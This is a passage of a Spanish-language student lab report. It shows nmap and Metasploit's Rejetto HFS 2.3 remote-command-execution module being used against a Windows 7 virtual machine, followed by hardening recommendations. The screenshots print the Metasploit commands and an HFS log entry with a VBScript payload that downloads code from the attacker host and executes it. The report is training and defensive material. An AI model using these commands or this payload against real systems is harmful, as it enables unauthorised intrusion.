n P Escribe aqui para buscar i J 29 £ e sielig Ez:)

Fuente: Propiedad del autor.

Se observa la direccién IP del sistema operativo Windows 7 de 64 bits, la cual
corresponde a IP: 192.168.1.29
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Figura 10: Consulta de la direccién IP de la maquina Windows 7 de 64 bits.
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usuario

=

Panel de control
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Papelera de
reciclaje
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Fuente: Propiedad del autor.

Se realiza la conexion con las dos maquinas anteriores por medio del comando ping
a la direccion 192.168.1.27 del sistema Kali Linux.

Figura 11: Conexion de la maquina Windows 7 de 64 bits con Kali Linux.

oy O52pm.
= 17092001 |

= (D)

Fuente: Propiedad del autor.

Se efectla el proceso de actualizacion de las aplicaciones que contiene Kali Linux
en las versiones mas recientes.
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Figura 12: Actualizacion de los paquetes de Kali Linux.

i Kali - Seminario [Corriende] - Oracle VM VirtualBox - X
Archive M o Dispositivos  Ayuda
E mEmrsg| I & estudiante@seminario: ~ 0452PM O ) A W39%| & ¢d

Papelera Archivo Acciones Editar Vista Ayuda

a de érdenes «p» [de -update]

<
E P Escribe aqui para buscar

Fuente: Propiedad del autor.

Con la siguiente imagen se ven las caracteristicas técnicas de la maquina de Kali
Linux la cual se usara para las pruebas de penetracién que en este caso se utilizara
la maquina suministrada por el director del diplomado:
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Figura 13: Caracteristicas técnicas de la maquina de Kali Linux.

[ Kali - Seminario [Corriendo] - Oracle VM VirtualBox
Archivo

Maquina Ver Entrada Dispositives Ayuda
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Fuente: Propiedad del autor.

Dentro de la maquina de Windows 7 de 64 bits, se procede a instalar la aplicacion
rejetto v. 2.3 para realizar el analisis de la informacion, determinar la fuga de esta.

Se observa la arquitectura del sistema operativo de Windows 7:

Figura 14: Caracteristicas técnicas de la maquina de Windows 7 de 64 bits.
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Fuente: Propiedad del autor.

Determinamos la péagina web donde descargaremos la aplicacion y luego
procederemos a instalacion en este sistema de Windows 7.
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Figura 15: Descarga de la aplicacion “rejetto v. 2.3”
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Fuente: Propiedad del autor.

Instalacién en la maquina de Windows 7 de la aplicacién que presenta la fuga de
informacion “rejetto v. 2.3”.

Figura 16: Aplicacién “rejetto v. 2.3” instalada en Windows 7 de 64 bits.
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Fuente: Propiedad del autor.

Ahora por medio de la herramienta de analisis de puertos que posee el sistema de
Kali Linux, se llevara a cabo el analisis de posibles vulnerabilidades que podemos
encontrar en la maquina Windows 7 de 64 bits.
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Figura 17: Escaneo de puertos de la maquina Windows 7 de 64 bits.
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Fuente: Propiedad del autor.

Se observa por medio de Nmap que existe una vulnerabilidad referente al programa
que se acaba de instalar en la maquina de Windows 7, el “HtttpFileServer” en la
version 2.3, el cual esta abriendo el puerto 80/TCP.

En la siguiente imagen se plasma la operacion del proceso realizado desde Kali

Linux cuando se realiz6 el analisis de vulnerabilidades en la maquina de Windows
7.
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Figura 18: Ejecucion de la aplicacion “rejetto v. 2.3” en Windows 7 de 64 bits.
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Creacion del usuario administrador para demostrar la explotacion de la
vulnerabilidad encontrada. Procedo a crear también una cuenta distinta a la de
estudiante dentro del sistema de Kali Linux con mi nombre y apellido “victorgiron”

para realizar el ataque:
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Fuente: Propiedad del autor.
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Se a verificar que la seguridad de la maquina de Windows 7 de 64 bits, y se procede

a desactivar el firewall.
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Figura 20: Firewall detenido en Windows 7 de 64 bits.
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Fuente: Propiedad del autor.

Dentro de la maquina de Kali Linux también se procede a crear una cuenta de usuario para
trabajar distinta a la de estudiantes, esta sera con el nombre de “victorgiron”.

31



Figura 21: Creacion de usuario en Kali Linux.

1206PM O ) A B99%| & ¢

Archivo Acciones Editar Vista Ayuda

[sudo] pa

<
H £ Escribe aqui para buscar = e ) g ﬂ m o e wox (@

Fuente: Propiedad del autor.

Al crear el usuario damos una contrasefia, y lo colocamos en el grupo de SUDO
“sudo usermod -a -G sudo victorgiron”, para que tenga privilegios de administrador
y poder realizar operaciones de administrador.

Agregamos el usuario al Shell para poder visualizarlo en el terminal con la siguiente
instruccion: “chsh -s /bin/bash victorgiron”
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Figura 22: Elevacion de privilegios al usuario creado en Kali Linux.

1221PM O ) A | & 4

- o x

>

1 & ) Bl iR 8] @ @ e pereECHA
1221 p. m.

)

<
E P Escribe aqui para buscar

Fuente: Propiedad del autor.

Se vuelve a analizar la maquina de Windows 7con Nmap para encontrar la
vulnerabilidad referente al programa “HtttpFileServer”, pero esta vez desde la
cuenta “victorgiron” que hemos creado previamente.
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Figura 23: Escaneo de puertos en la maquina Windows 7 de 64 bits, desde Kali Linux.

il Kali - Seminario [Corriendo] - Oracle VM VirtualBox
Archivo  Maquina Ver Entrada  Dispositivos  Ayuda

OL2PM O ) A

victorgiron@seminario: ~
Faipalar Archivo Acciones Editar Vista Ayuda
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0

ineté ::1 prefixlen 128 scopeid 0x10<host>

loop txqueuelen 1000 (Local Loopback)
— RX packets 96 bytes 5076 (4.9 KiB)
RX errors @ dropped @ overruns @ frame @
TX packets 96 bytes 5076 (4.9 KiB)
Arsiiies TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

Sistema de

:~$ sudo nmap -sV 192.168.1.29
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-18 13:12 -5
f Nmap scan report for 192.168.1.29
Host is up (0.00049s latency).
Carpeta Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http  HttpFileServer httpd 2.3k
MAC Address: 00:27:92:80:C0 (Oracle VirtualBox virtual NIC)
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

personal

Service detection performed. Please report any incorrect results at https:/
/nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.43 seconds

=51

H P Escribe aqui para buscar

Fuente: Propiedad del autor.

A continuacion, se realiza la explotacion de la vulnerabilidad encontrada por medio
de un Metasploit ingresando a la consola, con el comando “> msfconsole”
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Figura 24: Ingreso a la consola de Metasploit.

Kali - Seminario [Corriendo] - Oracle VM VirtualBox - X
Archivo  Maquina  Ver  Entrad:

Papelera

ispositivos  Ayuda

OL14PM O ) A

victorgiron@seminario: ~
Archivo Acciones Editar Vista Ayuda

Nmap done: 1 IP address (1 host up) scanned in 17.43 seconds

E :~$ msfconsole

Sistema de
archivos

f

Carpeta
personal

& O Eli8 G)® @ cr perecra

H L Escribe aqui para buscar

Fuente: Propiedad del autor.

Figura 25: Ingreso a la consola de Metasploit.

il Kali - Seminario [Corriendo] - Oracle VM VirtualBox - 8 X
Archivo Maquina Ver Entrada Dispositivos  Ayuda

0L:14PM O 4) A @ 1009

victorgiron@seminario: ~
Hapailars Archivo Acciones Editar Vista Ayuda

g HUBBHIRASY

E ummmnmmmwmmmmmnmmmnmmmmummmum
= ::ﬁ::#uw#uwww#uw#m:wuwﬂ#uw»nﬂwuuwmtﬂa»ﬂwuuw#uwww#uwuwum#uwwwuwuw
t‘:“:l:CE 5 HE###HEE SCORE 31337 HENHEHHHHHHRHHHHHRRHEHHHRRHARARRE HIGH FFFFF
:;;u:awhwm:wawhwhm:twtmmmn::t:tx:rwaat:mmmxmma::x:txuwamxamwwhmxnmuwn
#HnH

Sistema de
archivos

https://metasplo
f it.com

Carpeta

personal L s X
2034 exploits - 1103 auxiliary - 344 post

1
]
562 payloads - 45 encoders - 10 nops 1
7 evasion ]

Metasploit tip: Display the Framework log using the command, learn more
with

msfs > I

H P Escribe aqui para buscar

Fuente: Propiedad del autor.

Se busca dentro del Metasploit el programa que esta causando la vulnerabilidad con
el siguiente comando: “> search httpFileServer”
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Figura 26: Busqueda de “rejetto v. 2.3”.

il Kali - Seminario [Corriendo] - Oracle VM VirtualBox
Archivo  Maquina Ver Entrada  Dispositivos  Ayuda

l victorgiron@seminario: ~

Papelera

OLISPM O ) A B 100%| & G

Archivo Acciones Editar Vista Ayuda

tasploi 4-dev 1
2034 exploits - 1103 auxiliary - 344 post ]
562 payloads - 45 encoders - 10 nops |
=[ 7 evasion 1
Sistema de A :
Metasploit tip: Display the Framework log using the command, learn more
archivos it

msf5 > search httpFileServer
f Matchi

Carpeta

personal Disclosure Date Rank

eck Description

ploit/windows/http/rejetto_hfs_exec 2014-09-11
Rejetto HEEPFIlESErVer Remote Command Execution

H P Escribe aqui para buscar

Fuente: Propiedad del autor.

Se selecciona el modulo al cual le realizaremos el expliot, en este caso es el modulo
cero (0), que es el Unico que aparece y se realiza con el siguiente comando “> use
0”
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Figura 27: Seleccion de “rejetto v. 2.3”.

il Kali - Seminario [Corriende] - Oracle UM VirtualBox
Auchivo  Méquina Ver Entrade Dispositives  Ayuda
OL6PM O ) A B

Archivo Acciones Editar

=[ )

etasploit v5 - dev
2034 exploits - 1103 auxiliary - 344 post
562 payloads - 45 encoders - 10 nops

7 evasion

Metasploit tip: Display the Framework log using the command, learn more
ith

msf5 > search httpFileServer

# Name Disclosure Date Rank
eck Description

® exploit/windows/http/rejetto_hfs_exec 20146-89-11
s Rejetto HEEPFILESEEver Remote Command Execution

msf5 > use @
nsf5 exploit( )> 1

ﬂ P Escribe aqui para buscar

Fuente: Propiedad del autor.

A continuacion, se miran las variables dentro del Metasploit para luego determinar
cual se utilizara en la explotacion, en este caso se utiliza el comando “show options”
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Figura 28: Variables del Metasploit.

[l Kali - Seminario [Corriendo] - Oracle VM VirtualBox
Auchivo  Méquina Ve Entrada Dispositivos  Ayuda

B mmi=

. victargiron@seminario: ~

Hapalary Archivo Acciones Editar Vista Ayuda

0 exploit/windows/http/rejetto_hfs_exec 2014-89-11
s Rejetto HEEPFILESENVer Remote Command Execution

nsf5 > use @
msf5 exploit( ) > show options

Module options (exploit/windows/http/rejetto_hfs_exec):

Current Setting Required Des:
HTTPDELAY 10 Seconds to wait before terminating
web server
Proxies A proxy chain of format type:host:
e:host:port][ ... ]
The target host(s), range CIDR ide

y
ntifier, or hosts file with syntax 'file:<path>'
RPORT 80 The target port (TCP)
SRVHOST ~ 0.0.0.0 yes The local host or network interfac
e to listen on. This must be an address on the local machine or 0.0.0.0 to
listen on all addresses.

H £ Escribe aqui para buscar

Fuente: Propiedad del autor.

Y para realizar el ataque al sistema 0 maquina que tiene la vulnerabilidad se debe
utilizar el comando “set” seguido del parametro y el valor que se desea establecer,

en este caso seria de la siguiente manera: “> set rhosts 192.168.1.29”
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Figura 29: Explotacion de la vulnerabilidad.

il Kali - Seminarie [Cormiendo] - Oracle VM VirtualBox - x
Archivo  Maquina Ver Entrada Dispositivos  Ayuda

Archivo Acciones Editar Vista

Id Name

@  Automatic

nsf5 exploit(
rhosts = 192.168.1.29
nsf5 exploit(

) > set rhosts 192.168.1.29
) > exploit

Started HTTPS reverse handler on https://192.168.1.27:8443

Using URL: htt /0.0.0 /9YSygn4t7ejo

Local IP: http 5 .27:8080/9YSygn4t7ejo

Server started.

Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_e
xec.rb:110: warning: URI.escape is obsolete
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_e
xec.rb:110: warning: URI.escape is obsolete

Server stopped.

This exploit may require manual cleanup of 'X¥TEMP%\dnLNlohKdNGBL.vbs' o
n the target

Exploit completed, but no session was created.
msf5 exploit( ) > 11

H £ Escribe aqui para buscar

Fuente: Propiedad del autor.

En la maquina de Windows 7 donde se encuentra instalado el programa
HttpFileServer podemos ver el resultado del ataque generado desde Kali Linux.
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Figura 30: Resultado de la explotacién en Windows 7 de 64 bits.

[ Win?-5£2020-X64 [Corriendo] - Oracle VM VirtualBox - X

#2 HFS ~ HTTP File Server 23k Build 299

& Menu | ) Port80 | @2 Youarein Easy mode | i) Update now

@ Open in browser  http://192.168.1 29/victorgiron/ 1] Copyto clipboard
Virtual File System Log

W 12:54:41 p m Check update: failed

PSY i ctorgiron| 01:12:25 p.m. 182.160.1.27: 563350 Requested GET /

01:12:25 p.m_ 192168 1 27:53352 Requested GET /

01:12:25 p m 192 168 1 27-53362 Requested GET /

01:12:25 p.m_ 192168 1 27:53364 Requested GET /

01:21:13 p.m_ 192 168 1 27-35093 Requested GET /?search=> On Error Resume Next
> x Open "GET" "http /192 168 1 27-8080/9YSygn4t7ej0" False
= If Err Number <= 0 Then

> wsh.exit

= End If

> x.Send

> Execute x responseText }
01:21-13 p.m. 182.168.1.27.34381 Requested GET /?search=01:21:44 p.m. Check update: ne

91 P address

Out00KB/s I 0.0 KB/s

Fuente: Propiedad del autor.

Con esta prueba se puede determinar que se ha podido ingresar a la maquina de
Windows 7 de 64 bist, se tuvo una respuesta remota por medio de la explotacién de
la vulnerabilidad y se tiene acceso a la maquina victima.

Para el descubrimiento de la falla de seguridad para mi creo que lo importante fue
gue se estaba trabajando en un sistema el cual es obsoleto y que no se cuenta con
las actualizaciones de seguridad instaladas, un sistema que ya perdié soporte
técnico por parte del fabricante lo hace muy vulnerable. Lo otro que pienso es que
el sistema tiene instalado una aplicacion la cual me estan informando de que tiene
gue esta provocando una fuga de informacion y me estan dando el nombre de la
aplicacion que los esta generando y en este caso es “rejetto v 2.3, que esta
generando un exploit.

Las herramientas utilizadas en este analisis de la seguridad en dicho sistema
operativo Windows 7 fueron las siguientes:

El sistema operativo Kali Linux, que es donde generamos el ataque a la maquina de
Windows 7 de 64 bits por medio de la herramienta Metasploit, que es la que nos
permite realizar el ataque y explotar la vulnerabilidad encontrada en la maquina
cliente.

La herramienta de Nmap, se utiliza desde Kali Linux para la identificacion de los
puertos se encuentran abiertos en Windows 7 de 64 bits y poder identificar si la
aplicacion que tiene la vulnerabilidad tiene algun puerto asignado, y que en este
caso es el puerto 80 y es por donde se podria acceder al sistema y cometer algin
tipo de delito informatico.
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El puerto que abre la aplicacion rejetto v. 2.3 es el puerto 80, es un puerto que por
lo general se utiliza para publicar el sitio web que deseamos como un sitio estandar
que utiliza el protocolo HTTP, el cual no es un protocolo seguro y que es mas viable
se sufran atagues a servicios web que tengan este tipo de protocolo.

La afectacion de cualquier equipo de computo por medio de esta técnica dentro de
una red de datos podria ser devastadora para una compafia o para cualquier
persona que hace uso de las tecnologias de la informatica, ya que esta técnica de
explotacion de vulnerabilidades de equipos o software se realiza en muchos de los
casos sin que el usuario se dé cuenta, y sus ataques son efectivos pues muchos de
los sistemas no cuentan o no les realizan actualizaciones de seguridad un factor
determinante para confrontar los ataques cibernéticos.

Los pasos que se ejecutaron y sus respectivas evidencias para explotar la
vulnerabilidad en la maquina Windows 7 de 64 bits fueron las siguientes:

Se procede a instalar las dos maquinas virtuales tanto Kali Linux como Windows 7
de 64 bits, se crean los usuarios para realizar el proceso de analisis de
vulnerabilidades y por ende la explotacion de esta. Dentro del sistema de Windows
7 de 64 bits se desactiva el firewall y se crea un usuario con privilegios de
administrador, con nombre “victorgiron” y dentro de Kali Linux igualmente se crea
una cuenta de usuario con el mismo nombre “victorgiron”, desde el sistema de Kali
Linux se analizan los puertos de la maquina de Windows 7 por medio del comando
“‘Nmap”, nos arroja informaciéon importante con respecto al programa que esta
causando la fuga de informacion “rejetto v.2.3”, ya con esta informacién se procede
a ejecutar el ataque desde Kali Linux por medio de la herramienta “Metaspliot”, por
el cual nos determina que tenemos acceso a la otra maquina por medio del puerto
80.
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6. CONTENCION DE ATAQUES INFORMATICOS.

¢ Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red Team qué
medidas de hardenizacion propondria para que el ataque no se repita?

Las medidas que se pueden llegar a implementar para que el ataque no se repita
son varias, teniendo presente el ataque ya visto con la maquina de Windows 7 de
64 bits. Estas medidas hacen referencia a todo lo que el usuario podria tener acceso
dentro de la estacion de trabajo, por ejemplo tener acceso a distintas particiones de
disco duro, o si puede hacer uso de los puertos USB, son varias las medidas, pero
si se quiere tener una seguridad robusta y que se puede implementar dentro de la
compafiia en mi caso utilizaria toda la configuracion por medio del directorio activo
en donde centralizaria todas las operaciones que realicen los usuarios de la
organizacion por medio de la configuracién de politicas de grupo, ya que es una
muy buena herramienta que ayudaria a mantener una seguridad dentro del manejo
de los recursos tecnoldgicos de la empresa.

Figura 31: Usuarios y equipos de active directory.

] Usuarios y equipos de Active Directory - O X
Archivo Accién Ver Ayuda
s | 2F B XEL= HE T RETER

2 A || Nombre Tipo Descripcié #

= Usuaric
. Usuario
= Usuario
= Usuario
Usuaric
Usuario
Usuario
Usuario

Usuaric

o) o) o) ) )
o o 2 i O

Usuario
Usuario
Usuario
Usuaric
Usuario
Usuario
Usuario
Usuaric
Usuario
Usuario

Usuario v

| ™ (0% 0 0 (% 00 0 0% 08 00 (% 00 08 (9 (8 08 08 (% 08 08 (9

~
v

Fuente: Propiedad del autor.
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Figura 32: Creacion de politicas de dominio.

Group Policy Management - 8 X

Fuente: Propiedad del autor.

Una vez determinada la medida a utilizar para endurecer el sistema de seguridad
de la organizacién “WhiteHouse”, menciono a continuacién que alternativas se
podrian llevar a cabo dentro de esta:

- Configuraciones de las cuentas de usuario: Por ejemplo, que los usuarios
acceden con cuantas de dominio limitadas que no tengan roles de
administradores.

- Configuraciones de programas y aplicaciones: Que los usuarios solo
puedan hacer uso de algunas aplicaciones al igual que navegadores de
internet.

- Configuraciones de protocolos: Determinar que protocolos se usaran para
el manejo de ciertos servicios dentro de la organizaciéon WhiteHouse, y
los demés desactivarlos.

- Configuracién de hardware: Determinar acceso a componentes como
acceso de sistemas inaldmbricos, acceso a puertos USB.

- Configuraciones de acceso remoto: Saber quiénes de los usuarios
pueden tener acceso remoto y para que, este servicio es recomendable
gue no lo tengan todos los usuarios.
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Las herramientas que podriamos mencionar son las siguientes:

Firewall Perimetral: Dentro de la administracion de la red de datos, existen varias
formas en las que se puede configurar una red de forma segura, en este caso se
podria utilizar un Firewall perimetral, el cual tiene como funcion evitar que le red de
la organizacion se comunigue con una red externa a ella y que no cuente con la
seguridad adecuada con respecto a las politicas de seguridad de la informacién de
la organizacion. Con esta herramienta se logra que se analicen los paquetes de
datos que ingresan a la red corporativa y bloquearlos segun su informacion ademas
de que una buena configuracion de este Firewall Perimetral podria ayudar a
determinar bloquear usuarios, movimiento de la red como el trafico, entre otras
opciones.

Servidor Proxy: Otra buena herramienta es la de un servidor proxy en la
organizacion, con ella se logra la filtracién de paquetes, bloqueo de sitios web que
no sean prioritarios para la funcionalidad de la red dentro de la organizacién. Se
limita quienes podrian tener acceso a la red externa y contar con informes de logs
de ingresos o visitas a sitios ajenos a la institucion.

Herramientas de escaneo de vulnerabilidades: Es una parte importante tener o
contar con herramientas de escaneo de vulnerabilidades que ayuden a contener
posibles riesgos en el sistema informatico dentro de la organizacion, existen
herramientas como lo son Wireshark, OpenVAS, OWASP, que vigilan la parte de
software mirando cuales son los puntos débiles del sistema y como poder estar
pendientes a un ataque generado por personal externo. En tiempo real se tiene
resultados que hacen que se deba tomar medidas al instante sabiendo con certeza
como se esta afectando el sistema y como lograr recuperarlo u contrarrestar el
ataque. Ahora bien, en el mercado existen sin numero de aplicaciones sean de
licencias pagas o GPL, solo resta identificar la que mas se adapte las necesidades,
mirar operatividad y los beneficios que aportan, realizar una buena configuracién y
asi tener el sistema protegido pues lo mas preciado para una compafiia es su
informacion y con tal de tenerla protegida no deberia existir limitaciones de recursos
en este aspecto.
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7. ENLACE DEL VIDEO DE LA SOCIALIZACION.

El video se encuentra en estas dos plataformas:
https://vimeo.com/627882831
https://youtu.be/BFEuxepqT4l
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CONCLUSIONES.

Dentro de las conclusiones que se pueden plantear en el desarrollo de este informe
técnico referente al analisis de riesgos y vulnerabilidades en una infraestructura
tecnolégica podemos mencionar lo siguiente.

Que dentro de cada pais existen distintas normas y leyes a las cuales se esta sujeto
las personas que manejan u operan informacion de forma digital, por ello se debe
documentar bien al momento de hacer uso de los sistemas informaticos y del
manejo o trato de la informacion, ya que por desconocimiento de estas se puede
incurrir en sanciones que perjudiquen las labores tanto personales como laborales.
La invitacion es a tener presente estas normativas, leyes, decretos para poder tener
un buen manejo de la informacion y saber como defenderse cuando es victima
dentro del campo cibernético, esto ayudara afrontar los ataques, robos de
informacion y operaciones técnicas en los sistemas computacionales.

Es importante decir que los principios éticos y morales son demasiado importantes
para las personas como para las entidades o empresas que realizan un proceso de
seleccion de personal. El deseo de construir una buena sociedad debe estar dentro
de las politicas de las entidades sean publicas o privadas que la parte gerencial se
comprometa con el bienestar social de sus empleados, y de alli poder fortalecer los
relaciones con ellos haciendo que la empresa busque el beneficio en conjunto y que
por ningln motivo se inmiscuya intereses individuales, ya que de ser asi se tendra
el inicio del régimen autoritarito, podriamos decir que la parte delictiva siempre
surgira si no se tiene unos buenos principios morales sea en el escenario que sea.

Dentro del campo de las tecnologias de la informacion la delincuencia hoy en dia
ha tomado mayor auge en este campo, todas las operaciones ya se realizan de
manera electronica y las entidades deben contar filtros y sistemas mas seguros que
eviten la fuga de informacién que sin duda es lo mas importante dentro de una
organizacion, es el activo mas preciado y que debe blindar y para eso debe contar
con sistemas seguros que eviten con buenas herramientas de contencion y a parte
de un personal capacitado y comprometido con la seguridad de informacion, ser
conscientes de que desde cualquier punto de la red a nivel global, alguien puede
acceder al sistema y causar estragos, violar la seguridad de la red y tomar de forma
remota el control de cualquier computadora sin que el usuario sé de por enterado,
por eso es importante que las entidades inviertan en seguridad, que no escaseen
recursos para ello que lo timen como unas de las prioridades de la empresa, de lo
contrario es posible que en el futuro sufran constantemente ataques cibernéticos.

Y la contencién de los posibles riesgos que dentro de una organizacion es muy
importante, es una prioridad debido a que los activos de informacion en las
entidades de hoy en dia juegan un papel importantisimo para la misma entidad
como para la competencia y personal externo a ella, es por eso por lo que buscar
las medidas de proteccion siempre seran necesarias. Entre de las herramientas que
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existen, es importante que existan distintas opciones para contar con una buena
proteccién, no hay excusa para omitirla, y esto es un mensaje direccionado a la alta
gerencia de las entidades, que prioricen la seguridad de sus organizaciones, que
tengan muy presente que ya existen normas, decretos y leyes que les apoyan en el
proceso y que cuando se tiene un respaldo de la informacién el trabajo dentro de
ellas se realiza con mucha més conviccion.
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RECOMENDACIONES.

Se proponen algunas sugerencias que ayuden a mejorar la seguridad dentro de las
compafiias y que la haga ser mas fuerte en caso de que llegara a presentar
cualquier tipo de ataque cibernético.

Velar por el buen funcionamiento de la infraestructura tecnoldgica, realizar un buen
uso de los equipos tecnoldgicos y llevar a cabo de la forma correcta todos los
procesos de la organizacion teniendo presente la seguridad de la informacion.

Capacitar a todo el personal en temas de seguridad informética para complementar
con la seguridad de la informacion.

Realizar auditorias permanentes para vigilar que los controles a los activos de
informacion se estén realizando conforme a la politica de seguridad de la
informacion establecida por la organizacion.

Conformar dentro de la organizacion un grupo de equipos de Red Team y de Blue
Team con el propdésito de analizar la informacion en busca de vulnerabilidades y
poderlas tratar oportunamente.

Contar con logs para el cual permita tener un control del acceso a los sistemas de
la organizacién y poder validar si los usuarios que acceden a dichos sistemas son
los correctos, de esta forma se pude mirar el comportamiento de los sistemas y
programas con los que cuente la organizacion.

Deben realizar auditorias permanentes para realizar controles a los movimientos
dentro de los sistemas de la organizacion y plantear politicas de seguridad internas.

Utilizar procesos de cifrado de datos dentro de la organizacion cuando sea posible,
teniendo presente el tipo de informacion y el manejo al que esté relacionado.

Contar con sistema de proteccibn de virus, de configuracidbn de distintas
herramientas como los firewalls y realizar periédicamente actualizaciones.
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